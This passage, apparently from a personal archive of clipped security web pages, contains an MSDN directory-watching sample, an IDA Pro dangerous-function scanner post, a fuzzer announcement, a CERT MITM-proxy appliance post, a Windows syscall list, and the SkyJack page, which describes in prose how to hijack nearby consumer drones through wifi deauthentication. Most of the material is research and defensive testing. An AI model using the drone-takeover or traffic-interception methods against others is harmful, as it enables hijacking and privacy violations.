not indicate the actual change that satisfied the wait condition.

Use **FindCloseChangeNotification** to close the notification handle.

To retrieve information about the specific change as part of the notification,
use the **ReadDirectoryChangesW** function. This function also enables you to
provide a completion routine.

To track changes on a volume, see change journals.

The following example monitors the directory tree for directory name changes.
It also monitors a directory for file name changes. The example uses the
**FindFirstChangeNotification** function to create two notification handles
and the **WaitForMultipleObjects** function to wait on the handles. Whenever a
directory is created or deleted in the tree, the example should update the
entire directory tree. Whenever a file is created or deleted in the directory,
the example should refresh the directory.

**Note** 

This simplistic example uses the **ExitProcess** function for termination and
cleanup, but more complex applications should always use proper resource
management such as **FindCloseChangeNotification** where appropriate.

Copy

[code]

    #include <windows.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <tchar.h>
    
    void RefreshDirectory(LPTSTR);
    void RefreshTree(LPTSTR);
    void WatchDirectory(LPTSTR);
    
    void _tmain(int argc, TCHAR *argv[])
    {
        if(argc != 2)
        {
            _tprintf(TEXT("Usage: %s <dir>\n"), argv[0]);
            return;
        }
    
        WatchDirectory(argv[1]);
    }
    
    void WatchDirectory(LPTSTR lpDir)
    {
       DWORD dwWaitStatus; 
       HANDLE dwChangeHandles[2]; 
       TCHAR lpDrive[4];
       TCHAR lpFile[_MAX_FNAME];
       TCHAR lpExt[_MAX_EXT];
    
       _tsplitpath_s(lpDir, lpDrive, 4, NULL, 0, lpFile, _MAX_FNAME, lpExt, _MAX_EXT);
    
       lpDrive[2] = (TCHAR)'\\';
       lpDrive[3] = (TCHAR)'\0';
     
    // Watch the directory for file creation and deletion. 
     
       dwChangeHandles[0] = FindFirstChangeNotification( 
          lpDir,                         // directory to watch 
          FALSE,                         // do not watch subtree 
          FILE_NOTIFY_CHANGE_FILE_NAME); // watch file name changes 
     
       if (dwChangeHandles[0] == INVALID_HANDLE_VALUE) 
       {
         printf("\n ERROR: FindFirstChangeNotification function failed.\n");
         ExitProcess(GetLastError()); 
       }
     
    // Watch the subtree for directory creation and deletion. 
     
       dwChangeHandles[1] = FindFirstChangeNotification( 
          lpDrive,                       // directory to watch 
          TRUE,                          // watch the subtree 
          FILE_NOTIFY_CHANGE_DIR_NAME);  // watch dir name changes 
     
       if (dwChangeHandles[1] == INVALID_HANDLE_VALUE) 
       {
         printf("\n ERROR: FindFirstChangeNotification function failed.\n");
         ExitProcess(GetLastError()); 
       }
     
    
    // Make a final validation check on our handles.
    
       if ((dwChangeHandles[0] == NULL) || (dwChangeHandles[1] == NULL))
       {
         printf("\n ERROR: Unexpected NULL from FindFirstChangeNotification.\n");
         ExitProcess(GetLastError()); 
       }
    
    // Change notification is set. Now wait on both notification 
    // handles and refresh accordingly. 
     
       while (TRUE) 
       { 
       // Wait for notification.
     
          printf("\nWaiting for notification...\n");
    
          dwWaitStatus = WaitForMultipleObjects(2, dwChangeHandles, 
             FALSE, INFINITE); 
     
          switch (dwWaitStatus) 
          { 
             case WAIT_OBJECT_0: 
     
             // A file was created, renamed, or deleted in the directory.
             // Refresh this directory and restart the notification.
     
                 RefreshDirectory(lpDir); 
                 if ( FindNextChangeNotification(dwChangeHandles[0]) == FALSE )
                 {
                   printf("\n ERROR: FindNextChangeNotification function failed.\n");
                   ExitProcess(GetLastError()); 
                 }
                 break; 
     
             case WAIT_OBJECT_0 + 1: 
     
             // A directory was created, renamed, or deleted.
             // Refresh the tree and restart the notification.
     
                 RefreshTree(lpDrive); 
                 if (FindNextChangeNotification(dwChangeHandles[1]) == FALSE )
                 {
                   printf("\n ERROR: FindNextChangeNotification function failed.\n");
                   ExitProcess(GetLastError()); 
                 }
                 break; 
     
             case WAIT_TIMEOUT:
    
             // A timeout occurred, this would happen if some value other 
             // than INFINITE is used in the Wait call and no changes occur.
             // In a single-threaded environment you might not want an
             // INFINITE wait.
     
                printf("\nNo changes in the timeout period.\n");
                break;
    
             default: 
                printf("\n ERROR: Unhandled dwWaitStatus.\n");
                ExitProcess(GetLastError());
                break;
          }
       }
    }
    
    void RefreshDirectory(LPTSTR lpDir)
    {
       // This is where you might place code to refresh your
       // directory listing, but not the subtree because it
       // would not be necessary.
    
       _tprintf(TEXT("Directory (%s) changed.\n"), lpDir);
    }
    
    void RefreshTree(LPTSTR lpDrive)
    {
       // This is where you might place code to refresh your
       // directory listing, including the subtree.
    
       _tprintf(TEXT("Directory tree (%s) changed.\n"), lpDrive);
    }
    
    
    
[/code]





Send comments about this topic to Microsoft

Build date: 10/15/2010

# Advanced Security - Blog - Locating Dangerous Functions with IDA Pro

**Created:**| _3/30/2011 5:57:59 AM_  
---|---  
**Updated:**| _3/30/2011 5:58:10 AM_  
**Author:**| __  
**Tags:**| _bookmark iDA bughunting_  
  

## Locating Dangerous Functions with IDA Pro

<img src='img/Temp2_488.png' alt='Date' />Friday, March 25, 2011 at 6:32PM

During a black box COTS application assessment, we wanted to identify
dangerous functions that could possible be abused to gain code execution.
Flawfinder, an elementary source code focussed tool designed for exactly this
purpose was a good starting point. Embedded in the source code are a good list
of functions that are considered dangerous.

Four problems with flawfinder:

  1. It only works on the source code. No COTS products for me.
  2. Signatures are embedded in the code. Not easily reusable.
  3. Not supported \(last update 2007\). I've submitted a patch to Dan Wheeler \(the flawfinder author\) before and never heard back.
  4. Not exhaustive. I think Michael Howard did a great job changing the Microsoft SDL to prohibit certain functions from being used for software development. Flawfinder doesn't include many of these functions.

I decided to attempt a little experiment and port some of the flawfinder
functionality to IDA Pro. In the end, I moved the flawfinder database to raw
XML and added the functions that Michael Howard banned from the Microsoft SDL.
My XML file describing dangerous functions is available here.

> SHA256: 6695bb84bd1e9536c930b3599426cca04bfc02b31d66d9a61ca00ac7f0e1a686
> MD5: c6b712a94962dd583974fa34ba19e23f
Please let me know if you would like to submit any additional functions and I
will add them to the file. In the future I will probably modify flawfinder to
use this xml database as well.

I also created a little python script using IDA python that iterates over
function names and finds any references to known dangerous functions. We are
using these references as input for mynav in order to calculate execution
pathes that may lead to exploitable situations which in turn helps us to tune
our fuzzers. My dangerous\_functions.py script for achieving this is available
here.

> SHA256: 36c24bbe93914101df6c557c96dd95d4af8d8f44f63e862f9addd94c3939b63b
> MD5: fd8a3ff637bb4583a33675c103658f33
In order to use it, you may have to modify the 'dangerous\_functions\_file' on
line 7 of the aforementioned dangerous\_functions.py script in order to
accurately point to your location of dangerous\_functions.xml. Then load up
the binary in which you want to locate dangerous functions in IDA Pro and run
the following ida python command

> execfile\(r"C:\path\to\dangerous\_functions.py"\)
Please note that this script is just an experiment \(Read: primitive\) and
makes no attempt to actually verify if the functions are being used safely or
not. Additionally, please note that this script was developed and tested using
IDA Pro 6.0 and IDApython version 1.4.3.

I would like to thank Dan Clemens of Packet Ninjas for inspiration and of
course the hex-rays team for such a great tool. I would also like to thank Dan
Wheeler for writing flawfinder and Michael Howard for doing such a great job
improving the Microsoft SDL and releasing the information for general
consumption. Don't hesitate to drop us a line to offer constructive criticism
or offer improvements/suggestions.

Please note Halvar provides a similar project though I have not yet thoroughly
reviewed the source:

http://sourceforge.net/projects/bugscam/

Also, this project looks interesting as well:

http://sourceforge.net/projects/ida-pro-code/

# SkyJack - autonomous drone hacking

**Created:**| _12/12/2013 4:26:06 PM_  
---|---  
**Updated:**| _12/12/2013 4:26:06 PM_  
**Author:**| __  
**Tags:**| _Embedded wireless mitm_  
  

# SkyJack****

SkyJack is a drone engineered to autonomously seek out, hack, and wirelessly
take over other drones within wifi distance, creating an army of zombie drones
under your control**.**

by Samy Kamkar // code@samy.pl  // Dec 2, 2013

Follow me on twitter: @SamyKamkar

Discover more of my virulent technology at http://samy**.** pl

* * *
## Overview****

Today Amazon announced they're planning to use unmanned drones to deliver some
packages to customers within five years**.** Cool\! How fun would it be to
take over drones, carrying Amazon packages…or take over any other drones, and
make them my little zombie drones**.** Awesome.

Using a Parrot AR.Drone 2, a Raspberry Pi, a USB battery, an Alfa AWUS036H
wireless transmitter, aircrack-ng, node-ar-drone, node**.** js, and my SkyJack
software, I developed a drone that flies around, seeks the wireless signal of
any other drone in the area, forcefully disconnects the wireless connection of
the true owner of the target drone, then authenticates with the target drone
pretending to be its owner, then feeds commands to it and all other possessed
zombie drones at my will**.**

SkyJack also works when grounded as well, no drone is necessary on your end
for it to work**.** You can simply run it from your own Linux
machine/Raspberry Pi/laptop/etc and jack drones straight out of the sky**.**

<img src='img/Temp2_7563.png' alt='drone screen after getting hacked' />

* * *
## Download****

You can acquire SkyJack from github: https://github.com/samyk/skyjack

### Software****

#### SkyJack****

SkyJack  \(available from github\) is primarily a perl application which runs
off of a Linux machine, runs aircrack-ng in order to get its wifi card into
monitor mode, detects all wireless networks and clients around, deactivates
any clients connected to Parrot AR.drones, connects to the now free Parrot
AR.Drone as its owner, then uses node**.** js with node-ar-drone to control
zombie drones.

I detect drones by seeking out any wireless connections from MAC addresses
owned by the Parrot company, which you can find defined in the Registration
Authority OUI **.**

#### aircrack-ng****

I use aircrack-ng  to put our wireless device into monitor mode to find our
drones and drone owners**.** I then use aireplay-ng to deauthenticate  the
true owner of the drone I'm targeting**.** Once deauthenticated, I can connect
as the drone is waiting for its owner to reconnect**.**

#### node-ar-drone****

I use node-ar-drone  to control the newly enslaved drone via Javascript and
node**.** js .

### Hardware****

#### Parrot AR.Drone 2****

The Parrot AR.Drone 2  is the drone that flies around seeking other drones,
controlled from an iPhone, iPad or Android, and is also the type of drone
SkyJack seeks out in order to control**.** SkyJack is also capable of seeking
out Parrot AR.Drone version 1**.**

The Parrots actually launch their own wireless network which is how the owner
of the drone connects**.** We take over by deauthenticating the owner, then
connecting now that the drone is waiting for its owner to connect back in,
exploiting the fact that we destroyed their wireless connection
temporarily**.**

#### Raspberry Pi****

I use a Raspberry Pi  to drive the project as it's inexpensive, reasonably
light, has USB, and runs Linux**.**

#### Alfa AWUS036H wireless adapter****

I use the Alfa AWUS036H  wireless card which supports raw packet injection and
monitor mode which allow me to deauthenticate users who are legitimately
connected to their drones**.**

#### Edimax EW-7811Un wireless adapter****

I also use the Edimax EW-7811Un  wireless USB adapter in order for SkyJack to
launch its own network**.** This allows me to connect to SkyJack from my
laptop or iPad and watch all the other drones as they're being controlled**.**

#### USB Battery****

I suggest any USB battery  which is light \(under 100 grams\), and can output
close to an amp \(1000mAh\)**.** The Raspberry Pi + wifi will likely use about
this much juice**.** You could also possibly hook up three AAA batteries
together to get about 4**.** 5V out which would be a bit lighter, though I'm
not sure how much current it will be able to output**.**

## Questions?

Feel free to contact me with any questions**\!**

You can reach me at code@samy**.** pl **.**

Follow @SamyKamkar  on Twitter or check out http://samy**.** pl  for my other
projects**.**

****

# lcamtuf's blog: Announcing ref\_fuzz, a 2yo fuzzer

**Created:**| _6/8/2010 7:34:53 PM_  
---|---  
**Updated:**| _6/8/2010 7:34:53 PM_  
**Author:**| __  
**Tags:**| _Exploit Fuzzer vulnerability_  
  

### Announcing ref\_fuzz, a 2yo fuzzer

Somewhere in 2008, I created a relatively simple DOM binding fuzzer dubbed
`ref_fuzz`. The tool attempted to crawl the DOM object hierarchy from a
particular starting point, collect object references discovered during the
crawl by recursively calling methods and examining properties, and then reuse
them in various ways after destroying the original object. In essence, the
goal was to find use-after-free conditions across the browser codebase.

The fuzzer managed to crash **all** the mainstream browsers on the market at
that time, in a number of seemingly exploitable ways. Early fixes from Opera
and Apple started shipping somewhere in 2008; some more arrived in 2009.
Today, Microsoft released a fix and a bulletin for CVE-2010-1259
\(`MS10-035`\), while Apple released Safari 4.1 and 5.0 - fixing the last of
the scary memory corruption cases attributed to the tool.

The story of `ref_fuzz` is interesting, because to some extent, it illustrates
the shortcomings of one-way responsible disclosure. Were I to release this
fuzzer publicly in 2008, it would probably cause some short-term distress -
but in the end, vendor response would likely be swift, out of simple
necessity; this certainly proved to be the case with mangleme, a comparably
effective fuzzer I developed 2004 \(my rebel years\).

In this particular case, however, the appropriate parties were notified
privately, with no specific disclosure deadline given. This, coupled with the
inability to create simple repro cases \(inherently due to the design of the
fuzzer\), likely prompted the developers to deprioritize investigating and
responding to these flaws - in the end, taking months or years instead of days
or weeks. Given that they need to respond to hundreds or thousands of
seemingly more urgent bugs every year, this is not unexpected.

What's more troubling is that, within that timeframe, many of the crashes
triggered by `ref_fuzz` were independently rediscovered and fixed: several
exploitable crashes were patched without attribution by Microsoft in December
2009 \(MSRC cases `9480jr` and `9501jr`\); similarly, several WebKit flaws
were rediscovered by Alexey Proskuryakov and addressed in WebKit earlier this
year \(say, bug 33729\). Is it unreasonable to assume that malicious
researchers were just as likely to spot these glitches on their own?

In any case - I am happy to finally release the tool today. You can check out
the fuzzer here \(warning: clicking on this link may cause your browser to
misbehave\).

Update: looks like the site is temporarily down. Should be back up tomorrow,
sorry.

# Announcing CERT Tapioca for MITM Analysis | certcc
**Created:**| _8/21/2014 4:41:18 PM_  
---|---  
**Updated:**| _8/21/2014 4:41:18 PM_  
**Author:**| __  
**Tags:**| _analysis mitm_  
  

# Announcing CERT Tapioca for MITM Analysis

By Will Dormann on 08/21/2014 | Permalink
Hi folks, it's Will. Recently I have been investigating man-in-the-middle
\(MITM\) techniques for analyzing network traffic generated by an application.
In particular, I'm looking at web \(HTTP and HTTPS\) traffic. There are plenty
of MITM proxies, such as ZAP, Burp, Fiddler, mitmproxy, and others. But what I
wanted was a transparent **network-layer** proxy, rather than an application-
layer one. After a bit of trial-and-error investigation, I found a software
combination that works well for this purpose. I'm happy to announce the
release of CERT Tapioca \(Transparent Proxy Capture Appliance\), which is a
preconfigured VM appliance for performing MITM analysis of software.

From a software analysis perspective, network sniffing and MITM proxies can
uncover several types of software issues:

Weakness|  Impact|  Detection| Attack Vector  
---|---|---|---  
Lack of use of a secure channel \(HTTPS\)|  Evilgrade, Content Modification,
Privacy, etc.|  Passive sniffing|  Observation or manipulation of traffic on
same network  
Improper certificate chain validation|  Evilgrade, Content Modification,
Privacy, etc.|  MITM SSL proxy|  MITM \(ARP spoofing, Rogue AP, etc.\)  
Sensitive info sent over proper https|  Privacy|  MITM SSL proxy with Root CA
certificate installed|  None  
I wanted an environment where I could easily investigate all of these
scenarios. One of the important requirements is that the MITM proxy operates
on the network layer rather than the application layer. Why? I need to be able
to test applications and devices in a way that the target under test is not
aware that it is being proxied. This ability allows me to transparently test
applications and devices that do not support proxies.

**Network-Layer MITM Proxying**

To perform network-layer proxying, you need two things:

  1. A proxy application that supports transparent proxying.
  2. An operating system network configuration that supports redirection based on the NAT target port.

To achieve network-layer proxying, I took the UbuFuzz VM that we provide for
BFF and customized it. UbuFuzz VM has two network adapters: one for the
internet/uplink side and one for the local side. On the local side, it
provides NAT, DHCP, and DNS capabilities. For the MITM proxy, I chose to use
the excellent mitmproxy software. The scripts that launch mitmproxy configure
iptables to redirect network traffic to the local proxy. \(For more
information about how mitmproxy works, check out its documentation.\)

At this point, we have a VM that provides internet capability to the local
side, and any traffic that is destined for port 80 or 443 \(HTTP, and HTTPS,
respectively\) is proxied with mitmproxy. What you connect to the local side
is completely up to you. It could be connected to a virtual network so that
software running in other virtual machines will be MITM proxied. Or you can
bridge a wireless access point to the local side so that you have a wireless
network where any connected client will have its web traffic proxied.

**CERT Tapioca**

Let's look at what we get when we power up the CERT Tapioca VM:

<img src='img/Temp2_843.png' alt='MITM_boot.png' />

Here we have a basic Xfce desktop environment. The default fluxbox window
manager that comes with UbuFuzz is a bit too lightweight for our needs. In the
basic environment, mitmproxy and tcpdump are both started automatically,
logging data to the `~/logs` directory.

On the bottom toolbar, there are two icons that you will likely use the most:

<img src='img/Temp2_845.png' alt='MITM_annotated.png' />

If you want to bypass the mitmproxy software, click the red stop sign icon.
This function adjusts the iptables rules to simply perform NAT. This function
can also allow you to visit https sites and have a valid certificate. The
green arrow button clears out the logs and restarts both mitmproxy and
tcpdump, configuring iptables to route web traffic through the proxy.

**CERT MITM Proxy in Use**

Let's try using the CERT MITM proxy VM by connecting another VM to the same
virtual network as the local side of the proxy VM. We fire up our horribly
outdated Internet Explorer 6 browser and go to www.google.com:

<img src='img/Temp2_841.png' alt='MITM_http.png' />

Here we see several http GET requests in the mitmproxy window. What if we try
to visit https://www.google.com instead?

<img src='img/Temp2_840.png' alt='ie6_certwarn.png' />

It's good that we get this warning. It means that our client software is
checking the validity of SSL certificate chains when making HTTPS network
connections. In this particular case, it's saying that the certificate was not
issued by a root certificate authority that the browser already trusts. If we
don't accept this warning, then mitmproxy will not log any HTTPS requests.

If we click `Yes`, then mitmproxy will log our traffic:

<img src='img/Temp2_842.png' alt='MITM_https.png' />

Then we can actually dive into any of the requests to see the details:

<img src='img/Temp2_844.png' alt='MITM_https_response.png' />

Here we see the content that was transferred over the encrypted https
connection. We see the traffic because mitmproxy communicates securely with
the web server, decrypts the traffic, and then re-encrypts the traffic using a
dynamically generated certificate using its own root CA certificate.

**Interpreting Results**

As I mentioned previously, if you ever see an `https://` URL in mitmproxy,
you're either dealing with an application that fails to validate SSL
certificate chains or you have manually accepted the invalid certificate. We
can easily check for this programmatically:

`grep "`scheme,5:https" ~/logs/flows.log

This command determines whether the client successfully sent or retrieved data
through the HTTPS connection.

**Intercepting All HTTPS Traffic**

Rather than investigating which applications properly validate SSL certificate
chains, if our goal is to investigate all HTTPS traffic coming from an
application, we need to change our client platform by importing the mitmproxy
root CA certificate. The root CA certificate used by mitmproxy is available in
several formats in the `~/certs` directory in the CERT Tapioca VM. The folks
at CAcert have provided guidelines for how to import a root CA certificate in
a variety of platforms.

**Trusting HTTPS**

Once you start performing MITM testing of HTTPS traffic, you hopefully will
have a better idea of the level of trust that you should be giving HTTPS.
Let's consider the situation where you type `https://` and the domain name in
your web browser's address bar for the site that you want to visit. If you
don't get a certificate warning, what does that mean? It really just means
that the certificate provided by the server was issued by **any one of** the
root CAs trusted by your browser. For example, the current version of Mozilla
Firefox comes pre-loaded with over **90 trusted root CAs**. Any one of these
sites may provide a dozen or more individual trusted root CA certificates.

If you're using a system that you don't manage and you're relying on HTTPS to
keep your web traffic from prying eyes, you may want to think twice. Just like
we can silently intercept HTTPS traffic by having the mitmproxy root CA
certificate installed, you must assume that enterprises with managed desktop
systems are employing similar techniques to monitor traffic. It's their
network after all.

But it's also worth noting the impact the compromise of a single root CA can
have. It's happened in the past with DigiNotar and Comodo. Without getting too
sidetracked here, Moxie Marlinspike's blog entry SSL And The Future Of
Authenticity goes into a good amount of detail about the problems with SSL and
trust.

**Getting CERT Tapioca**

CERT Tapioca is available in OVA format:

MITM.ova \(sig\)

This OVA should be compatible with a range of virtualization products,
including VMware, VirtualBox, and others. Just take note which network adapter
connects to which network. The adapter labeled "NAT" is the uplink, so by
default it will share the internet connection of your host system. The adapter
labeled "Custom" is the local side, so you will want to connect this adapter
to whatever system you wish to investigate. Depending on which virtualization
software you use, the uplink adapter may not be the first network adapter in
the virtual machine properties.

Happy bug hunting\!

Topics:  Network Analysis  ,  Tools  ,  Vulnerability Discovery

# протез памяти: w8.1 preview W32pServiceTable

**Created:**| _9/27/2013 12:09:47 PM_  
---|---  
**Updated:**| _9/27/2013 12:09:47 PM_  
**Author:**| __  
**Tags:**| _asm windows environment_  
  

# **w** 8.1 preview W32pServiceTable****

W32pServiceLimit eq 0x408  
  
NtUserYieldTask  
NtUserSetSensorPresence  
NtGdiWidenPath  
NtGdiUpdateColors  
NtGdiUnrealizeObject  
NtGdiUnmapMemFont  
NtGdiUnloadPrinterDriver  
NtGdiTransparentBlt  
NtGdiTransformPoints  
NtGdiSwapBuffers  
NtGdiStrokePath  
NtGdiStrokeAndFillPath  
NtGdiStretchDIBitsInternal  
NtGdiStretchBlt  
NtGdiStartPage  
NtGdiStartDoc  
NtGdiSetSizeDevice  
NtGdiSetVirtualResolution  
NtGdiSetTextJustification  
NtGdiSetSystemPaletteUse  
NtGdiSetRectRgn  
NtGdiSetPixelFormat  
NtGdiSetPixel  
NtGdiSetOPMSigningKeyAndSequenceNumbers  
NtGdiSetLayout  
NtGdiMirrorWindowOrg  
NtGdiGetDeviceWidth  
NtGdiSetMiterLimit  
NtGdiSetMetaRgn  
NtGdiSetMagicColors  
NtGdiSetLinkedUFIs  
NtGdiSetIcmMode  
NtGdiSetFontXform  
NtGdiSetFontEnumeration  
NtGdiSetDIBitsToDeviceInternal  
NtGdiSetDeviceGammaRamp  
NtGdiSetColorSpace  
NtGdiSetColorAdjustment  
NtGdiSetBrushOrg  
NtGdiSetBrushAttributes  
NtGdiSetBoundsRect  
NtGdiSetBitmapDimension  
NtGdiSetBitmapBits  
NtGdiSetBitmapAttributes  
NtGdiSelectPen  
NtGdiSelectFont  
NtGdiSelectClipPath  
NtGdiSelectBrush  
NtGdiSelectBitmap  
NtGdiScaleWindowExtEx  
NtGdiScaleViewportExtEx  
NtGdiSaveDC  
NtGdiRoundRect  
NtGdiRestoreDC  
NtGdiResizePalette  
NtGdiResetDC  
NtGdiRemoveFontMemResourceEx  
NtGdiRemoveFontResourceW  
NtGdiRectVisible  
NtGdiRectInRegion  
NtGdiRectangle  
NtGdiQueryFontAssocInfo  
NtGdiQueryFonts  
NtGdiPtVisible  
NtGdiPtInRegion  
NtGdiPolyTextOutW  
NtGdiPolyPolyDraw  
NtGdiPolyDraw  
NtGdiPlgBlt  
NtGdiPathToRegion  
NtGdiPolyPatBlt  
NtGdiPatBlt  
NtGdiOpenDCW  
NtGdiOffsetRgn  
NtGdiOffsetClipRgn  
NtGdiMoveTo  
NtGdiMonoBitmap  
NtGdiModifyWorldTransform  
NtGdiMaskBlt  
NtGdiMakeInfoDC  
NtGdiMakeFontDir  
NtGdiLineTo  
NtGdiInvertRgn  
NtGdiIntersectClipRect  
NtGdiInitSpool  
NtGdiInit  
NtGdiIcmBrushInfo  
NtGdiHfontCreate  
NtGdiGradientFill  
NtGdiGetWidthTable  
NtGdiGetFontUnicodeRanges  
NtGdiAddEmbFontToDC  
NtGdiChangeGhostFont  
NtGdiGetEmbedFonts  
NtGdiGetUFIPathname  
NtGdiGetEmbUFI  
NtGdiGetUFI  
NtGdiGetTransform  
NtGdiGetTextMetricsW  
NtGdiGetTextFaceW  
NtGdiGetTextExtentExW  
NtGdiGetTextExtent  
NtGdiGetTextCharsetInfo  
NtGdiGetSystemPaletteUse  
NtGdiGetSuggestedOPMProtectedOutputArraySize  
NtGdiGetStringBitmapW  
NtGdiGetStockObject  
NtGdiGetStats  
NtGdiGetSpoolMessage  
NtGdiGetServerMetaFileBits  
NtGdiGetRgnBox  
NtGdiGetRegionData  
NtGdiGetRealizationInfo  
NtGdiGetRasterizerCaps  
NtGdiGetRandomRgn  
NtGdiGetPixel  
NtGdiGetPath  
NtGdiGetOutlineTextMetricsInternalW  
NtGdiGetOPMRandomNumber  
NtGdiGetObjectBitmapHandle  
NtGdiGetNearestPaletteIndex  
NtGdiGetNearestColor  
NtGdiGetMonitorID  
NtGdiGetMiterLimit  
NtGdiGetLinkedUFIs  
NtGdiGetKerningPairs  
NtGdiGetOPMInformation  
NtGdiGetGlyphOutline  
NtGdiGetGlyphIndicesWInternal  
NtGdiGetGlyphIndicesW  
NtGdiGetFontResourceInfoInternalW  
NtGdiGetFontFileInfo  
NtGdiGetFontFileData  
NtGdiGetFontData  
NtGdiGetEudcTimeStampEx  
NtGdiGetETM  
NtGdiGetDIBitsInternal  
NtGdiGetDeviceCapsAll  
NtGdiGetDeviceGammaRamp  
NtGdiGetDeviceCaps  
NtGdiGetDCPoint  
NtGdiGetDCObject  
NtGdiGetDCforBitmap  
NtGdiGetDCDword  
NtGdiGetCurrentDpiInfo  
NtGdiGetCOPPCompatibleOPMInformation  
NtGdiGetColorSpaceforBitmap  
NtGdiGetColorAdjustment  
NtGdiGetCharWidthInfo  
NtGdiGetCharWidthW  
NtGdiGetCharSet  
NtGdiGetCharacterPlacementW  
NtGdiGetCharABCWidthsW  
NtGdiGetCertificateSize  
NtGdiGetCertificate  
NtGdiGetBoundsRect  
NtGdiGetBitmapDimension  
NtGdiGetBitmapBits  
NtGdiGetAppClipBox  
NtGdiGetAndSetDCDword  
NtGdiFullscreenControl  
NtGdiFrameRgn  
NtGdiForceUFIMapping  
NtGdiFlush  
NtGdiFlattenPath  
NtGdiFillRgn  
NtGdiFillPath  
NtGdiExtTextOutW  
NtGdiExtSelectClipRgn  
NtGdiExtGetObjectW  
NtGdiExtFloodFill  
NtGdiExtEscape  
NtGdiExtCreateRegion  
NtGdiExtCreatePen  
NtGdiExcludeClipRect  
NtGdiEudcLoadUnloadLink  
NtGdiEqualRgn  
NtGdiEnumObjects  
NtGdiEnumFonts  
NtGdiEndPath  
NtGdiEndPage  
NtGdiEndGdiRendering  
NtGdiEndDoc  
NtGdiEnableEudc  
NtGdiEllipse  
NtGdiDrawEscape  
NtGdiDoPalette  
NtGdiDoBanding  
NtGdiGetPerBandInfo  
NtGdiDestroyOPMProtectedOutput  
NtGdiDescribePixelFormat  
NtGdiDeleteObjectApp  
NtGdiDeleteColorTransform  
NtGdiDeleteColorSpace  
NtGdiDeleteClientObj  
NtGdiDxgGenericThunk  
NtGdiDvpReleaseNotification  
NtGdiDvpAcquireNotification  
NtGdiDvpWaitForVideoPortSync  
NtGdiDvpUpdateVideoPort  
NtGdiDvpGetVideoSignalStatus  
NtGdiDvpGetVideoPortConnectInfo  
NtGdiDvpGetVideoPortOutputFormats  
NtGdiDvpGetVideoPortLine  
NtGdiDvpGetVideoPortInputFormats  
NtGdiDvpGetVideoPortFlipStatus  
NtGdiDvpGetVideoPortField  
NtGdiDvpGetVideoPortBandwidth  
NtGdiDvpFlipVideoPort  
NtGdiDvpDestroyVideoPort  
NtGdiDvpCreateVideoPort  
NtGdiDvpColorControl  
NtGdiDvpCanCreateVideoPort  
NtGdiDdWaitForVerticalBlank  
NtGdiDdUpdateOverlay  
NtGdiDdUnlockD3D  
NtGdiDdUnlock  
NtGdiDdUnattachSurface  
NtGdiDdSetOverlayPosition  
NtGdiDdCreateSurfaceEx  
NtGdiDdSetGammaRamp  
NtGdiDdSetExclusiveMode  
NtGdiDdSetColorKey  
NtGdiDdResetVisrgn  
NtGdiDdRenderMoComp  
NtGdiDdReleaseDC  
NtGdiDdReenableDirectDrawObject  
NtGdiDdQueryMoCompStatus  
NtGdiDdQueryDirectDrawObject  
NtGdiDdLockD3D  
NtGdiDdLock  
NtGdiDdGetScanLine  
NtGdiDdGetMoCompFormats  
NtGdiDdGetMoCompGuids  
NtGdiDdGetMoCompBuffInfo  
NtGdiDdGetInternalMoCompInfo  
NtGdiDdGetFlipStatus  
NtGdiDdGetDxHandle  
NtGdiDdGetDriverInfo  
NtGdiDdGetDC  
NtGdiDdGetBltStatus  
NtGdiDdGetAvailDriverMemory  
NtGdiDdFlipToGDISurface  
NtGdiDdFlip  
NtGdiDdEndMoCompFrame  
NtGdiDdDestroyD3DBuffer  
NtGdiDdDestroySurface  
NtGdiDdDestroyMoComp  
NtGdiDdDeleteSurfaceObject  
NtGdiDdDeleteDirectDrawObject  
NtGdiDdCreateSurfaceObject  
NtGdiDdCreateMoComp  
NtGdiDdCreateD3DBuffer  
NtGdiDdCreateSurface  
NtGdiDdCreateDirectDrawObject  
NtGdiDdColorControl  
NtGdiDdCanCreateD3DBuffer  
NtGdiDdCanCreateSurface  
NtGdiDdBlt  
NtGdiDdBeginMoCompFrame  
NtGdiDdAttachSurface  
NtGdiDdAlphaBlt  
NtGdiDdAddAttachedSurface  
NtGdiDdGetDriverState  
NtGdiD3dDrawPrimitives2  
NtGdiD3dValidateTextureStageState  
NtGdiD3dContextDestroyAll  
NtGdiD3dContextDestroy  
NtGdiD3dContextCreate  
NtGdiCreateSolidBrush  
NtGdiCreateServerMetaFile  
NtGdiCreateRoundRectRgn  
NtGdiCreateRectRgn  
NtGdiCreatePen  
NtGdiCreatePatternBrushInternal  
NtGdiCreatePaletteInternal  
NtGdiCreateOPMProtectedOutputs  
NtGdiCreateMetafileDC  
NtGdiCreateHatchBrushInternal  
NtGdiCreateHalftonePalette  
NtGdiCreateEllipticRgn  
NtGdiCreateSessionMappedDIBSection  
NtGdiCreateDIBSection  
NtGdiCreateDIBitmapInternal  
NtGdiCreateDIBBrush  
NtGdiCreateCompatibleDC  
NtGdiCreateCompatibleBitmap  
NtGdiCreateColorTransform  
NtGdiCreateColorSpace  
NtGdiCreateClientObj  
NtGdiCreateBitmapFromDxSurface2  
NtGdiCreateBitmapFromDxSurface  
NtGdiCreateBitmap  
NtGdiConvertMetafileRect  
NtGdiConfigureOPMProtectedOutput  
NtGdiComputeXformCoefficients  
NtGdiCombineTransform  
NtGdiCombineRgn  
NtGdiColorCorrectPalette  
NtGdiClearBrushAttributes  
NtGdiClearBitmapAttributes  
NtGdiCloseFigure  
NtGdiCheckBitmapBits  
NtGdiCancelDC  
NtGdiBitBlt  
NtGdiBeginPath  
NtGdiBeginGdiRendering  
NtGdiArcInternal  
NtGdiFontIsLinked  
NtGdiAnyLinkedFonts  
NtGdiAngleArc  
NtGdiAlphaBlend  
NtGdiAddRemoteMMInstanceToDC  
NtGdiRemoveMergeFont  
NtGdiAddFontMemResourceEx  
NtGdiAddRemoteFontToDC  
NtGdiAddFontResourceW  
NtGdiAbortPath  
NtGdiAbortDoc  
NtUserDefSetText  
NtUserDeferWindowPosAndBand  
NtUserDdeInitialize  
NtUserCanBrokerForceForeground  
NtUserCreateWindowStation  
NtUserCreateWindowEx  
NtUserCreateLocalMemHandle  
NtUserCreateInputContext  
NtUserCreateDesktopEx  
NtUserCreateCaret  
NtUserCreateAcceleratorTable  
NtUserCountClipboardFormats  
NtUserCopyAcceleratorTable  
NtUserConvertMemHandle  
NtUserConsoleControl  
NtUserCloseWindowStation  
NtUserCloseDesktop  
NtUserCloseClipboard  
NtUserClipCursor  
NtUserChildWindowFromPointEx  
NtUserCheckMenuItem  
NtUserCheckWindowThreadDesktop  
NtUserDwmValidateWindow  
